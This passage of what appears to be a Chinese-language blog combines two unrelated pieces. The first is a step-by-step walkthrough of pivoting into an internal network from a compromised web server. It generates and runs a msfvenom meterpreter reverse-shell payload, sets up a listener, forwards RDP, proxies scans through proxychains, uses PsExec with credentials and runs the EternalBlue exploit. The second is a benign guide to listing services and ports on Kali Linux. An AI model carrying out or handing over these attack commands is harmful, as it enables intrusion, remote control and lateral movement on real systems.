127.0.0.1 1080" >> /etc/proxychains.conf
```
4. 使用 `proxychains` 运行内网扫描工具(如 `nmap`):
```bash
proxychains nmap -sT -Pn
192.168.1.0/24
```

### 4. 横向渗透和权限提升
- 利用 CS 的 **Elevate
功能,尝试提升权限。
- 使用 PsExec、WMI 等模块在内网进行横向移动:
  psexec \\192.168.1.10 -u admin -p password -c payload.exe
  


---

## 🛠 二、使用 Metasploit 进行内网渗透

### 1. 利用蚁剑执行 MSF Payload
既然已经通过蚁剑获得了 Web 服务器的 Shell,可以直接通过 MSF 生成 Payload 并在 Web 服务器上执行。

- 步骤**:
1. 在 Kali 中生成 MSF 的反向 Shell Payload:
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali IP> LPORT=4444 -f exe -o meterpreter.exe
```
2. 使用蚁剑将 `meterpreter.exe` 上传到 Web 服务器,并执行:
```shell
shell:cmd.exe /c meterpreter.exe
```

### 2. 在 MSF 中捕获会话
- **步骤**:
1. 启动 `msfconsole` 并设置监听器:
```bash
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Kali IP>
set LPORT 4444
run
```
2. 如果成功,你将在 MSF 中获得一个 `meterpreter` 会话。

### 3. 设置 Meterpreter 的 Port Forwarding
- 如果 Web 服务器能访问内网主机,可以使用 `portfwd` 将内网端口转发到你的 Kali。

```shell
meterpreter > portfwd add -l 8888 -p 3389 -r
192.168.1.10
```
这里将 Web 服务器的 3389(RDP)端口转发到 Kali 的 8888 端口。

### 4. 使用 MSF 的 Socks Proxy 进行内网渗透
1. **在 meterpreter 中启动 socks 代理**:
```shell
meterpreter > run autoroute -s
192.168.1.0/24
meterpreter > run socks_proxy
```
2. **配置 proxychains**:
```bash
echo "socks4
127.0.0.1 1080" >> /etc/proxychains.conf
```
3. **通过 proxychains 进行内网扫描**:
```bash
proxychains nmap -sS -Pn
192.168.1.0/24
```

### 5. 横向渗透(MS17-010、EternalBlue)
- 使用 MSF 的 `exploit/windows/smb/ms17_010_eternalblue` 模块来进行内网主机的攻击:
```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS
192.168.1.20
set LHOST <Kali IP>
run
```

---

##
🔑 关键点总结**

1. Cobalt Strike 适合通过 Beacon 和 Socks 代理对内网进行隐蔽渗透。
2. Metasploit 提供强大的内网扫描、漏洞利用和横向移动能力。
3. 利用 双网卡服务器 作为桥梁,结合 CS 和 MSF 的代理功能,能有效地渗透无法直接访问的内网区域。

---

### 关键词
#CobaltStrike #Metasploit #内网渗透 #双网卡服务器 #蚁剑 #Socks代理 #横向渗透 #权限提升
### 在 Kali Linux 中查看服务

在 Kali Linux 中查看系统运行的服务,可以使用多种命令来列出和检查当前服务的状态。以下是一些常用的命令及其应用。

#### 1. 使用 `systemctl` 命令查看服务

systemctl 是现代 Linux 系统中用来控制和管理系统服务的工具,Kali Linux 基于 Debian,使用 systemd 来管理系统服务。

- 查看所有正在运行的服务**:
```bash
systemctl list-units --type=service --state=running
```
该命令会列出所有当前正在运行的服务。

- **查看所有服务的状态(包括停止和禁用的服务)**:
```bash
systemctl list-units --type=service
```
这个命令会显示所有服务,包括已停止和禁用的服务。

- **查看某个特定服务的状态**:
```bash
systemctl status <服务名>
```
例如,查看 `ssh` 服务的状态:
```bash
systemctl status ssh
```

#### 2. **使用 `service` 命令


在一些旧版的 Linux 系统中,`service` 命令常用于查看和管理服务。在 Kali Linux 中,`service` 命令仍然可以使用。

- 查看所有服务的状态**:
```bash
service --status-all
```
该命令会列出所有服务及其状态,其中 `+` 表示正在运行,`-` 表示已停止。

- **查看特定服务的状态**:
```bash
service <服务名> status
```
例如,查看 `apache2` 服务的状态:
```bash
service apache2 status
```

#### 3. **使用 `ps` 命令


ps 命令用于列出当前运行的进程,可以通过它查看当前服务及其进程。

- 列出所有进程并查看服务**:
```bash
ps aux
```
该命令会列出所有正在运行的进程,你可以通过管道与 `grep` 命令结合,过滤出你感兴趣的服务或进程:
```bash
ps aux | grep <服务名>
```
例如,查看 `sshd` 服务进程:
```bash
ps aux | grep sshd
```

#### 4. **使用 `netstat` 查看服务监听的端口


netstat 是一个非常有用的命令,用来显示当前系统上所有网络连接和监听的端口。可以通过它来检查哪些服务正在监听某些端口。

- 查看所有正在监听的端口及相关服务**:
```bash
netstat -tuln
```
该命令会列出所有正在监听的 TCP 和 UDP 端口,`-t` 表示 TCP,`-u` 表示 UDP,`-l` 表示监听状态,`-n` 表示以数字形式显示端口号和 IP 地址。

- **查看特定端口的监听状态**:
```bash
netstat -tuln | grep <端口号>
```
例如,查看 80 端口的监听状态:
```bash
netstat -tuln | grep :80
```

#### 5. **使用 `ss` 命令


ssnetstat 的替代工具,速度更快,可以显示与 netstat 相同的信息。

- 查看所有监听的服务及端口**:
```bash
ss -tuln
```

- **查看特定端口的监听状态**:
```bash
ss -tuln | grep <端口号>
```

#### 6. **使用 `lsof` 查看服务监听的端口


`lsof`(List Open Files)是另一个查看打开文件(包括网络端口)状态的工具,可以用于查看服务监听的端口。

- **查看所有打开的端口**:
  lsof -i -P -n
  


- **查看特定端口的服务**:
  lsof -i :<端口号>
  


例如,查看监听 80 端口的服务:
  lsof -i :80
  


### 总结

在 Kali Linux 中查看系统服务,可以使用多个命令,例如 `systemctl`、`service`、`ps`、`netstat` 和 ss`,它们各有不同的应用场景。`systemctl 是最常用的现代命令,适用于管理和查看服务状态;而 netstatss 则更适合查看监听端口和服务进程。

#KaliLinux #查看服务 #Systemctl #Netstat #SS #Lsof #服务管理
Back to Top